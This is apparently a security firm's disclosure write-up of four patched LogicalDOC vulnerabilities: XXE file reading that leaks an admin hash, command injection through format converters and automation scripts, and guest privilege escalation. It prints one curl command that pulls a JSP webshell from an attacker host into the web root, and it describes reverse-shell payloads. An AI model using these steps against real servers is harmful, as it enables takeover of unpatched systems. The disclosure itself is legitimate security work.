LogicalDOC Vulnerability Disclosure

White Oak Security discovered several vulnerabilities in the document management system, LogicalDOC, a software that’s designed to save, store, and share documents within an organization. Starting from an unauthenticated point of view, White Oak Security was able to chain several vulnerabilities together to achieve code execution within the application. Four (4) vulnerabilities were identified in the LogicalDOC application:

XML External Entity Injection (XXE)
Command Execution via Format Converters
Command Execution via Automation Scripts
Vertical Privilege Escalation as Guest Users

These issues have been remediated as of release 8.8.3.

LogicalDOC Vulnerability Disclosure Timeline

White Oak Security followed responsible disclosure guidelines by giving LogicalDOC time to remediate these vulnerabilities and allowing customers time to patch their instances.

9/22/22: Attempted to contact the vendor, did not receive a response.

9/28/22: Attempted to contact the vendor, did not receive a response.

9/29/22: Attempted to contact the vendor, did not receive a response.

10/3/22: Attempted to contact the vendor.

10/4/22: Vendor acknowledged communication. Disclosed vulnerability details via support ticket.

1/8/23: Vendor provided a fix with a patch released to the general public in version 8.8.3.

2/23/23: White Oak Security publicly discloses the findings according to our vulnerability disclosure policy.

Analysis: XML External Entity Injection (XXE)

In order to establish a foothold in the LogicalDOC application, White Oak Security needed a vulnerability which resulted in an authentication bypass. After performing code analysis against the application controllers and API requests which could be requested without a valid session, White Oak Security identified an endpoint that was vulnerable to XML External Entity Injection (XXE). XML External Entity Injection is a type of attack against an application that parses XML input which typically results in file inclusion or code execution vulnerabilities.

In the case of LogicalDOC, the XXE attack allows for the extraction of files on the local file system. The XXE injection point was within the value of a custom element value in the XML parser. In order to achieve an authentication bypass, White Oak Security observed that the administrator credentials were hashed and saved within an application configuration file. The following request was used to exploit the LogicalDOC host and retrieve the hashed password:

The image by White Oak Security is the code request was used to exploit the LogicalDOC host and retrieve the hashed password.

Since the application is configured with verbose error messages by default, the HTTP response reflected the XML parser error message which contained the details of the context.properties file and the SHA1 Admin password:

The image by White Oak Security is the code HTTP response with the XML parser error

This SHA1 password hash can be cracked offline using software such as Hashcat. As a proof of concept, the administrator’s password was set to a weak value and White Oak Security obtained the cleartext password using Hashcat to crack the SHA1 hash:

White Oak Security obtained the cleartext password using Hashcat to crack the SHA1 hash

With this password, White Oak Security gained access to the administrator account in LogicalDOC and continued the hunt for code execution vulnerabilities.

Analysis: Format Converter Command Execution

The first method of command execution that was discovered was within the application’s format converter components. As the administrative user, White Oak Security navigated to the Format Converter functionality (Administration -> Import and Export -> Format Converters). This section of the application allows the user to enable / disable various document format converters and even edit specific parameters that will be utilized by the LogicalDOC system binaries to perform the conversion. One specific Format Converter that worked for command injection was the ImageConverter. An additional command within the path parameter will be successfully executed upon attempting to convert files.

White Oak Security modified the path parameter to download a JSP webshell and placed it within the web root of the LogicalDOC application. The following exploit command was used in the path:

/usr/bin/curl IP-ADDRESS:9000/cmd.jsp -o /LogicalDOC/tomcat/webapps/ROOT/cmd.jsp

The ImageConverter is only used when converting JFIF, PSD, or WEBP files to PDF. With the modified ImageConverter settings, White Oak Security navigated back to the Documents page which allowed PSD files to be uploaded and converted to a PDF, triggering the exploit path.

With the modified ImageConverter settings, White Oak Security navigated back to the Documents page which allowed PSD files to be uploaded and converted to a PDF, triggering the exploit path.

The conversion format of PDF is chosen and the document is converted:

White Oak Security Chooses pdf format to save in logicalDOC

The application will indicate the conversion fails as shown in the screenshot below, however the command injection will have successfully executed.

White Oak Security chose pdf format to save in logical DOC, but that command fails.

Web log of the application performing retrieval of the webshell from the attacker’s controlled web server:

Linux screenshot by White Oak Security shows log of the application performing retrieval of the webshell from the attacker’s controlled web server

Finally, White Oak Security navigated to the command shell which was deployed in the web root of the application. The application runs on Linux as the root user, allowing White Oak Security to demonstrate full control over the underlying system.

The application runs on Linux as the root user, allowing White Oak Security to demonstrate full control over the underlying system.

Analysis: Command Execution via Built-In Scripting Language

White Oak Security also identified a second path to achieving command execution on the server. The LogicalDOC automation scripting language provides mechanisms for writing custom Java scripts by using reflection or built-in system commands.

Once logged into the LogicalDOC application with an Admin account, White Oak Security navigated to the Execute Automation functionality. This section of the application allows the user to execute custom scripts in the context of the LogicalDOC application.

Once logged into the LogicalDOC application with an Admin account, White Oak Security navigated to the Execute Automation functionality Through custom code routine.

Within this window, custom scripts are able to be imported and executed. The syntax for this scripting language is documented online on LogicalDOC’s website. Analyzing the available scripting functions, White Oak Security identified at least two paths to achieving code execution.

This first payload uses a Java Reflection function to execute the Java Runtime class and spawn an arbitrary process.

White Oak Securitys first payload uses a Java Reflection function to execute the Java Runtime class and spawn an arbitrary process

This second payload uses a more direct approach, using a built-in LogicalDOC function for interacting with the operating system. The documentation describes the SystemTool function as containing the ability to execute code. The following payload retrieves a reverse shell from an attacker’s controlled web server and then executes that reverse shell:

This payload retrieves a reverse shell from an attacker’s controlled web server and then executes that reverse shell

Once an automation job is executed, the system commands are executed, and a foothold as root is established on the machine.

White Oak Security runs automation job is executed, the system commands are executed, and a foothold as root is established on the machine.

Analysis: Vertical Privilege Escalation

The final vulnerability White Oak Security discovered was an instance of vertical privilege escalation, where low-privilege users, such as Guest users, can perform Administrative actions such as adding workflows and executing automation scripts. This allows a guest user to achieve code execution through the previous vulnerability. To demonstrate the issue, a guest user was created which does not have permission to execute workflows against documents:

White Oak Security creates a guest user was created which does not have permission to execute workflows against documents

Next, White Oak Security observed a lack of workflows within the application. Visually, no workflows exist and guest users cannot start workflows.

White Oak Security observed a lack of workflows within the application. Visually, no workflows exist and guest users cannot start workflows

To exploit the access control violation, a guest user can upload a document that contains a sample workflow template. This template contained a payload that, as previously demonstrated via the automation scripts, achieved code execution. A sample template can be exported from a demo installation of the application where a malicious user could build their custom payload.

White Oak Securitys sample template can be exported from a demo installation of the application where a malicious user could build their custom payload

Next, a guest user retrieves the GWT strong name of the function that will handle administrative capabilities. These IDs can be pulled from the JavaScript cache of the GWT permutation for the guest user. The user will also need a valid X-GWT-Permutation header value, however, this header is sent in most requests that a guest user has access to perform.

user will also need a valid X-GWT-Permutation header value, however, this header is sent in most requests that a guest user has access to perform.

The workflow template is then imported from the file that was uploaded in the prior step:

White Oak Securitys workflow template is then imported from the file that was uploaded in the prior step

The workflow then needs to be saved. The structure of this request can be filled in based on values from the prior response.

workflow then needs to be saved. The structure of this request can be filled in based on values from the prior response from this code screenshot

The workflow is then deployed and published so that users can run the workflow. This workflow contains the reverse shell method of achieving code execution, which was originally uploaded in the template file from the first step.